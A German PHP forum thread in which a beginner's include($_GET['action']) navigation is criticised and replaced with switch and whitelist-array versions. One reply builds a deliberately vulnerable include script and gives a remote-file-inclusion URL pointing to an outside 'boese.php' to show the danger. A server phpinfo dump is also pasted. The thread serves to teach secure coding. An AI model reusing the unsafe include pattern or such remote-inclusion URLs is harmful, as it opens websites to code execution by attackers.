Kann mir jemand sagen wie man das in seine navigation macht damit die endung ?irgendwas=irgendwas ist
<?php
$get = $_GET["action"];
include("".$get.".php");
?>
ich komm da nicht ganz dahinter, was muss ich dann in die navi schreiben?
Kann mir jemand sagen wie man das in seine navigation macht damit die endung ?irgendwas=irgendwas ist
<?php
$get = $_GET["action"];
include("".$get.".php");
?>
ich komm da nicht ganz dahinter, was muss ich dann in die navi schreiben?
Auweia, das ist eine Katastrophe!!! Wenn man Parametern so gnadenlos vertraut, dann darf man sich nicht wundern, wenn die eigene Seite mal gehackt wird!
<?php
$page = (isset($_GET['action'])) ? $_GET['action'] : "home";
switch ($page)
{
case "home": include ("home.php"); break;
case "kontakt": include ("kontakt.php"); break;
case "impressum": include ("impressum.php"); break;
default: include ("home.php"); break;
}
?>
Alles anzeigen
<a href="index.php?action=home">Home</a>
<a href="index.php?action=kontakt">Kontakt</a>
<a href="index.php?action=impressum">Impressum</a>
Das sind Grundlagen, die man können sollte
Hm ja aber ich mein was soll schon passieren in dem fall:P
Kann man halt alles includieren, deswegen wird noch nix gehackt^^
Ich schreibe mal eine harmlose Variante, die nix großes anstellt:
index?action=index
Das wäre schon mal eine Endlosschleife. Und glaube mir, da lässt sich noch viel mehr anstellen.
Auweia, das ist eine Katastrophe!!! Wenn man Parametern so gnadenlos vertraut, dann darf man sich nicht wundern, wenn die eigene Seite mal gehackt wird!
PHP Alles anzeigen<?php $page = (isset($_GET['action'])) ? $_GET['action'] : "home"; switch ($page) { case "home": include ("home.php"); break; case "kontakt": include ("kontakt.php"); break; case "impressum": include ("impressum.php"); break; default: include ("home.php"); break; } ?>
Code<a href="index.php?action=home">Home</a> <a href="index.php?action=kontakt">Kontakt</a> <a href="index.php?action=impressum">Impressum</a>
Das sind Grundlagen, die man können sollte
Das ist ja spitze was du da gepostet hast, ich hab nie verstanden wie das abläuft. jetzt schon und sicher scheints deiner meinung nach ja auch zu sein:p
Ich schreibe mal eine harmlose Variante, die nix großes anstellt:
index?action=index
Das wäre schon mal eine Endlosschleife. Und glaube mir, da lässt sich noch viel mehr anstellen.
Was den? Bleib am boden^^
Endlosschleife ist doch net schlimm
Was den? Bleib am boden^^
Wenn man keine Ahnung hat, sollte man einfach mal ruhig sein!
Nimm dieses Sktipt:
<?php
echo "vor dem include <br><br>";
include ($_GET['action']);
echo " <br><br>vor dem include";
?>
Und rufe das Script mit dem Parameter ?action=http://bdt600.funpic.de/temp/boese.php auf und staune! Vorrausgesetzt, allow_url_include steht in der php.ini auf On
Keine Sorge, es passiert nichts schlimmes, aber es zeigt dir, was man machen könnte!
Okay okay chef an sowas hab ich nicht gedacht das jemand das erlaubt und so na gut^^
XD
Mach lieber ne Tabelle.
$pages = array('home' => 'content/home.php',
'kontakt' => 'content/kontakt.php',
'impressum' => 'content/impressum.php',
'404' => 'error404.php');
$titles = array('home' => 'Startseite',
'kontakt' => 'Kontakt',
'impressum' => 'Impressum',
'404' => 'Fehler 404: Seite nicht gefunden');
$page = $_GET['irgendwas'];
if(!isset($pages[$page]))
$page = '404';
?>
<html>
<head>
<title><?= $titles[$page] ?></title>
...
</head>
<body>
Layout
<?
include $pages[$page];
?>
Layout
</body>
</html>
Alles anzeigen
Viele liebe Grüße
The User
Okay okay chef an sowas hab ich nicht gedacht das jemand das erlaubt und so na gut^^
XD
Erstens ist das keine Seltenheit, und zweitens (z.Bsp. bei einer .htaccess geschützten Seite, was auch nicht selten ist)
Danke für Ihre zahlreichen Antworten
Also bei meinem Webspaceanbieter sind alle PHP Einstellungen für Sicherheit aktiviert/ bzw deaktiviert. Im Forum dort wird öfters Angesprochen wie gut die Sicherheitseinstellungen doch sind.
Welche Methode ist dann zu empfehlen, die von Bandit600 oder von Synaptic?
Ich habe leider noch sehr wenig Erfahrung mit diesen Sachen, welche Relevant sind müsst ihr entscheiden?
allow_call_time_pass_referenceOffOffallow_url_fopenOnOnallow_url_includeOffOffalways_
populate_raw_post_dataOffOffarg_separator.input;&;&arg_separator.output&&asp_tagsOffOffauto_append_file[I]no value[/I][I]no value[/I]auto_globals_jitOnOnauto_prepend_file[I]no value[/I][I]no value[/I]browscap[I]no value[/I][I]no value[/I]default_charset[I]no value[/I][I]no value[/I]default_mimetypetext/htmltext/htmldefine_syslog_variablesOffOffdisable_classes[I]no value[/I][I]no value[/I]disable_functionsshell_exec, popen, pclose, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, passthru, show_source, escapeshellcmd, escapeshellargshell_exec, popen, pclose, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, passthru, show_source, escapeshellcmd, escapeshellargdisplay_errorsOffOffdisplay_startup_errorsOffOffdoc_root[I]no value[/I][I]no value[/I]docref_ext[I]no value[/I][I]no value[/I]docref_root[I]no value[/I][I]no value[/I]enable_dlOnOnerror_append_string[I]no value[/I][I]no value[/I]error_log/var/log/apache2/php-error.log/var/log/apache2/php-error.logerror_prepend_string[I]no value[/I][I]no value[/I]error_reporting61356135expose_phpOffOffextension_dir/home/php5/lib/php/20060613/home/php5/lib/php/20060613file_uploadsOnOnhighlight.bg[COLOR=#ffffff]#FFFFFF[/COLOR][COLOR=#ffffff]#FFFFFF[/COLOR]highlight.comment[COLOR=#ff9900]#FF9900[/COLOR][COLOR=#ff9900]#FF9900[/COLOR]highlight.default[COLOR=#0000bb]#0000BB[/COLOR][COLOR=#0000bb]#0000BB[/COLOR]highlight.html[COLOR=#000000]#000000[/COLOR][COLOR=#000000]#000000[/COLOR]highlight.keyword[COLOR=#007700]#007700[/COLOR][COLOR=#007700]#007700[/COLOR]highlight.string[COLOR=#dd0000]#DD0000[/COLOR][COLOR=#dd0000]#DD0000[/COLOR]html_errorsOffOffignore_repeated_errorsOffOffignore_repeated_sourceOffOffignore_user_abortOffOffimplicit_flushOffOffinclude_path.:/home/php5/lib/php:/usr/share/php.:/home/php5/lib/php:/usr/share/phplog_errorsOnOnlog_errors_max_len10241024magic_quotes_gpcOnOnmagic_quotes_runtimeOffOffmagic_quotes_sybaseOffOffmail.force_extra_parameters[I]no value[/I][I]no value[/I]max_execution_time3030max_input_nesting_level6464max_input_time6060memory_limit40M40Mopen_basedir/var/www/web68/html:/var/www/web68/phptmp:/var/www/web68/files:/var/www/web68/atd:/usr/share/php:/var/www/empty/web68/var/www/web68/html:/var/www/web68/phptmp:/var/www/web68/files:/var/www/web68/atd:/usr/share/php:/var/www/empty/web68output_buffering40964096output_handler[I]no value[/I][I]no value[/I]post_max_size16M16Mprecision1414realpath_cache_size16k16krealpath_cache_ttl120120register_argc_argvOffOffregister_globalsOffOffregister_long_arraysOffOffreport_memleaksOnOnreport_zend_debugOffOffsafe_modeOffOffsafe_mode_exec_dir[I]no value[/I][I]no value[/I]safe_mode_gidOffOffsafe_mode_include_dir[I]no value[/I][I]no value[/I]sendmail_from[I]no value[/I][I]no value[/I]sendmail_path/usr/sbin/sendmail -t -i /usr/sbin/sendmail -t -i serialize_precision100100short_open_tagOnOnSMTPlocalhostlocalhostsmtp_port2525sql.safe_modeOffOffsuhosin.log.phpscript.is_safeOffOfftrack_errorsOffOffunserialize_callback_func[I]no value[/I][I]no value[/I]upload_max_filesize10M10Mupload_tmp_dir/var/www/web68/phptmp/var/www/web68/phptmpuser_dir[I]no value[/I][I]no value[/I]variables_orderGPCSGPCSxmlrpc_error_number00xmlrpc_errorsOffOffy2k_complianceOnOnzend.ze1_compatibility_modeOff
Da gibts noch viele mehr, das ganze wurde durch <?php phpinfo(); ?> erzeugt
Die Tabelle ist am schnellsten und am flexibelsten. Switch geht auch, ist aber langsamer und umständlicher.
The User das ist doch was anderes?
[COLOR=#000000][FONT=Courier New]$pages = array('home' => 'content/home.php',[/FONT][/COLOR]
[FONT=Courier New][COLOR=#000000] 'kontakt' => 'content/kontakt.php',[/COLOR][/FONT]
[FONT=Courier New][COLOR=#000000] 'impressum' => 'content/impressum.php',[/COLOR][/FONT]
[FONT=Courier New][COLOR=#000000] '404' => 'error404.php');[/COLOR][/FONT]
[FONT=Courier New][COLOR=#000000]$titles = array('home' => 'Startseite',[/COLOR][/FONT]
[FONT=Courier New][COLOR=#000000] 'kontakt' => 'Kontakt',[/COLOR][/FONT]
[FONT=Courier New][COLOR=#000000] 'impressum' => 'Impressum',[/COLOR][/FONT]
[FONT=Courier New][COLOR=#000000] '404' => 'Fehler 404: Seite nicht gefunden');[/COLOR][/FONT]
[FONT=Courier New][COLOR=#000000]$page = $_GET['irgendwas'];[/COLOR][/FONT]
[FONT=Courier New][COLOR=#000000]if(!isset($pages[$page]))[/COLOR][/FONT]
[FONT=Courier New][COLOR=#000000] $page = '404';[/COLOR][/FONT]
[FONT=Courier New][COLOR=#000000]?>[/COLOR][/FONT]
[FONT=Courier New][COLOR=#000000]<html>[/COLOR][/FONT]
[FONT=Courier New][COLOR=#000000]<head>[/COLOR][/FONT]
[FONT=Courier New][COLOR=#000000]<title>[COLOR=#0000bb]<?= $titles[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000bb]$page[/COLOR][COLOR=#007700]] [/COLOR][COLOR=#0000bb]?>[/COLOR]</title>[/COLOR][/FONT][COLOR=#000000]
[FONT=Courier New]...[/FONT]
[FONT=Courier New]</head>[/FONT]
[FONT=Courier New]<body>[/FONT]
[FONT=Courier New]Layout[/FONT]
[FONT=Courier New][COLOR=#0000bb]<?[/COLOR][/FONT]
[FONT=Courier New][COLOR=#007700]include [/COLOR][COLOR=#0000bb]$pages[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000bb]$page[/COLOR][/FONT][COLOR=#007700][FONT=Courier New]];[/FONT][/COLOR]
[FONT=Courier New][COLOR=#0000bb]?>[/COLOR][/FONT]
[FONT=Courier New]Layout[/FONT]
[FONT=Courier New]</body>[/FONT]
[FONT=Courier New]</html>[/FONT][/COLOR]
Alles anzeigen
Fügt man damit nicht den Inhalt in Content ein und liesst i-wie den Titel der Seite aus?
Damit erzeuge ich leider nicht die urls die ich möchte, mit dem script von Bandit600 klappt es.
is vom prinzip her bei beiden des gleiche...
du rufst beide auf mit index.php?action=home
unterscheid is die verarbeitung - also array oder switch
wo du das ganze einfügst ist ansich wurst. ob im head - dann musst halt
für die anderen seiten immer "ne ganz page" bauen.. oder wie user im
body, dann musst nur den inhalt selbst auslagern...
Mach lieber ne Tabelle.
PHP Alles anzeigen$pages = array('home' => 'content/home.php', 'kontakt' => 'content/kontakt.php', 'impressum' => 'content/impressum.php', '404' => 'error404.php'); $titles = array('home' => 'Startseite', 'kontakt' => 'Kontakt', 'impressum' => 'Impressum', '404' => 'Fehler 404: Seite nicht gefunden'); $page = $_GET['irgendwas']; if(!isset($pages[$page])) $page = '404'; ?> <html> <head> <title><?= $titles[$page] ?></title> ... </head> <body> Layout <? include $pages[$page]; ?> Layout </body> </html>
Viele liebe Grüße
The User
Ich hab das problem das ich den php teil auslagern will, es funktioniert nicht. Ist das wiederrum nicht möglich?
<?php
$pages = array('home' => 'content/home.php',
'kontakt' => 'content/kontakt.php',
'impressum' => 'content/impressum.php',
'404' => 'error404.php');
$titles = array('home' => 'Startseite',
'kontakt' => 'Kontakt',
'impressum' => 'Impressum',
'404' => 'Fehler 404: Seite nicht gefunden');
$page = $_GET['irgendwas'];
if(!isset($pages[$page]))
$page = '404';
?>
Alles anzeigen
Denn ich habe verschiedene Bereiche mit Links und die sollen alle mit ?action=irgendwas versehen werden können, aber jedesmal den Php Code darüber reinschreiben wäre ein unfreundlicher Quelltext wo man schnell den Überblick verliert.
ja dann lager ihn doch aus
<?php
include 'page.php';
?>
<html>
<head>
<title><?= $titles[$page] ?></title>
...
</head>
<body>
Layout
<?
include $pages[$page];
?>
Layout
</body>
</html>
Alles anzeigen
page.php
<?php
$pages = array('home' => 'content/home.php',
'kontakt' => 'content/kontakt.php',
'impressum' => 'content/impressum.php',
'404' => 'error404.php');
$titles = array('home' => 'Startseite',
'kontakt' => 'Kontakt',
'impressum' => 'Impressum',
'404' => 'Fehler 404: Seite nicht gefunden');
$page = $_GET['irgendwas'];
if(!isset($pages[$page]))
$page = '404';
?>
Alles anzeigen
</span>
Hab ich gemacht. Aber es steht im Titel jetzt 404 error. Meine Startseite ist index.php.
Meine Index Datei
<?php include 'getnavigation.php'; ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head>
<title><?= $titles[$page] ?></title>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1" />
<meta name="description" content="" />
<meta name="author" content="" />
<meta name="keywords" content="" />
<link href="design.css" type="text/css" rel="stylesheet" />
<link href="favicon.ico" type="image/x-icon" rel="shortcut icon" />
</head>
<body>
<div class="rahmen">
<div class="header"><img src="img/headg.jpg" alt="" /></div>
<div class="leftrahmen">
<div class="login">
<form action="">
<h2>⇒ ⇒Registrieren Sie sich kostenlos und sparen Sie Bares Geld!</h2>
<p>Username:<br /><input type="text" name="user" /></p>
<p>Passwort:<br /><input type="password" name="pass" /></p>
<p><input type="submit" value="Absenden" /><br /><br /></p>
<a href="">⇒⇒Registrieren⇐⇐</a></form>
</div>
<div class="navi">
<? include $pages[$page]; ?>
</div>
</div>
<div class="content">
<h1></h1>
<h2></h2>
<h3></h3>
</div>
<div class="clear"></div>
<div class="footer"></div>
</div>
</body>
</html>
Alles anzeigen
der php code in getnavigation.php
<?php
$pages = array('home' => 'content/index.php',
'kontakt' => 'content/kontakt.php',
'impressum' => 'content/impressum.php',
'404' => 'error404.php');
$titles = array('home' => 'Startseite',
'kontakt' => 'Kontakt',
'impressum' => 'Impressum',
'404' => 'Fehler 404: Seite nicht gefunden');
$page = $_GET['irgendwas'];
if(!isset($pages[$page]))
$page = '404';
?>
Alles anzeigen
Es erscheint im Titel "Fehler 404: Seite nicht gefunden", und Links habe ich ja nicht definiert. WO sollte ich das dann tun. In der Index wollte ich ja keine haben
Zitat
Es erscheint im Titel "Fehler 404: Seite nicht gefunden"
Und das wundert dich?
Zitat
Links habe ich ja nicht definiert. WO sollte ich das dann tun. In der Index wollte ich ja keine haben
Iregendwo wirst du schon welche setzen müssen. Von alleine navigierts sich scheiße
Wie kombiniere ich dann die navigation mit dem Script von the User, denn ich könnte ja das von Badit nehmen, aber wenn schon erwähnt wird das des Script von TheUser besser und schneller ist habe ich mich natürlich für das entschieden.
Lies dir BITTE ein Tutorial durch...
Erstmal, du hast KEIN link auf index.php indem code und scho garnicht mit einer variable die man mit get auslesen könnte... Dein href ist leer.
Und außerdem, ist der php code noch unvollständig. Du prüfst ob $pages[$page] gesetzt ist, was aber wenn $page noch gar nicht übergeben wird (sprich index.php beim ersten aufruf)?
Denk nicht mal daran mich zu fragen wo das hin soll